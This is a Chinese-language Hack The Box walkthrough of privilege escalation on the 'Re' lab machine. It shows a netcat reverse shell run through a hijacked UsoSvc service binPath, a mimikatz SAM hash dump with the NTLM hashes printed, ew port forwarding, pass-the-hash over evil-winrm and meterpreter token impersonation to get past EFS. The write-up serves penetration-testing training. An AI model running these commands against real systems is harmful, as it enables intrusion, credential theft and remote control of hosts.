HTB-Re 渗透全记录

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16
 
UsoSvc提权
思路断了,这时候需要执行一些辅助脚本进行检测。这里我使用了PowerUp.ps1https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1
powershell -ep bypass
Import-Module .PowerUp.ps1
Invoke-AllChecks
脚本回显提示有服务的权限异常
[*] Checking service permissions...
ServiceName   : UsoSvc
Path          : C:Windowssystem32svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
通过修改UsoSvc服务的binPath,然后重新启动服务即可执行我们的命令
PS C:> sc.exe stop UsoSvc
PS C:> sc.exe config usosvc binPath="C:WindowsSystem32spooldriverscolornc.exe 10.10.14.220 23336 -e cmd.exe"
PS C:> sc.exe qc usosvc
PS C:> sc.exe start UsoSvc
反弹shell直接拿到system权限,但是最后一步查看root.txt竟然无法打开,查看权限
PS C:tmp> get-acl C:UsersAdministratorDesktoproot.txt|format-list
Path   : Microsoft.PowerShell.CoreFileSystem::C:UsersAdministratorDesktoproot.txt
Owner  : REcoby
Group  : RENone
Access : NT AUTHORITYSYSTEM Allow  FullControl
         BUILTINAdministrators Allow  FullControl
         REAdministrator Allow  FullControl
         REcoby Allow  FullControl
但是打不开,明明是有权限的
C:Windowssystem32>type C:UsersAdministratorDesktoproot.txt
Access is denied.
用以下命令修改权限后仍然打不开
cacls C:UsersAdministratorDesktoproot.txt /e /p system:f
 
mimikatz dump(easy way)
留意到Administrator和coby都可以打开root.txt,何不尝试一下切换到其他用户。上传mimikatz,导出所有用户hash
privilege::debug
token::elevate
lsadump::sam
由于我们是system权限,轻松获取到其他用户的NTLM hash。
User : Administrator
  Hash NTLM: caf97bbc4c410103485a3cf950496493
User : coby
  Hash NTLM: fa88e03e41fdf7b707979c50d57c06cf
之前查看端口发现,靶机是有开放5985端口,不过有防火墙,所以端口扫描时并没有发现,而winrm是可以通过hash进行登录的。
然后用ew转发winrm的端口到本地
攻击端主机:
./ew_for_linux64 -s lcx_listen -l 5985 -e 23335
靶机:
ew.exe -s lcx_slave -d 10.10.14.220 -e 23335 -f 127.0.0.1 -g 5985
使用coby的hash可以登录并读到root.txt
root@kali:~/pentest/Re# evil-winrm -i 127.0.0.1 -u coby -H fa88e03e41fdf7b707979c50d57c06cf
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:UserscobyDocuments> type C:UsersAdministratorDesktoproot.txt
1B4FB9xxxxxxxxxxxxxxxxxxxx8F7715D
 
incognito(very easy way)
为何有权限却读不到flag呢?事后请教了一位外国友人,原来是因为文件被加密(EFS)了,因此即使有权限也是打不开的。使用cipher命令检查root.txt,看到文件被加密了,只有Administrator和coby可以解密。
PS C:UsersAdministratorDesktop> cipher /c root.txt
 Listing C:UsersAdministratorDesktop
 New files added to this directory will not be encrypted.
E root.txt
  Compatibility Level:
    Windows XP/Server 2003
  Users who can decrypt:
    REAdministrator [Administrator(Administrator@RE)]
    Certificate thumbprint: E088 5900 BE20 19BE 6224 E5DE 3D97 E3B4 FD91 C95D
    coby(coby@RE)
    Certificate thumbprint: 415E E454 C45D 576D 59C9 A0C3 9F87 C010 5A82 87E0
  No recovery certificate found.
  Key information cannot be retrieved.
The specified file could not be decrypted.
这次使用msf进行,按照之前的步骤获取system之后马上执行之前放进去的后门反弹shell。
meterpreter里面incognito模块可以进行用户切换,这个方法比用mimikatz还要再简单一点。
meterpreter > load incognito  # 用来盗窃目标主机的令牌或是假冒用户
Loading extension incognito...Success.
meterpreter > list_tokens -u  # 列出目标主机用户的可用令牌
Delegation Tokens Available
========================================
Font Driver HostUMFD-0
Font Driver HostUMFD-1
IIS APPPOOLip
IIS APPPOOLre
IIS APPPOOLREblog
NT AUTHORITYIUSR
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
REcam
REcoby
REluke
Window ManagerDWM-1
Impersonation Tokens Available
========================================
No tokens available
meterpreter > impersonate_token "RE/coby"
[+] Delegation token available
[+] Successfully impersonated user REcoby
meterpreter > cat c:/users/administrator/desktop/root.txt
1B4FB9xxxxxxxxxxxxxxxxxxx8F7715D
至此渗透完毕
C:tmp>whoami /user
USER INFORMATION
----------------
User Name SID
========= =============================================
recoby   S-1-5-21-311800348-2366743891-1978325779-1000
 
总结
这个box的渗透过程还是比较艰辛,获取到的每个用户权限都不是很大,需要理解自动脚本的运行过程和猜测脚本运行效果,即使知道漏洞利用方式还要进一步思考如何利用,即便是到最后拿system权限后,还需一顿操作才最终拿到flag。
 

上一页  [1] [2] [3] [4] [5] [6] [7] [8]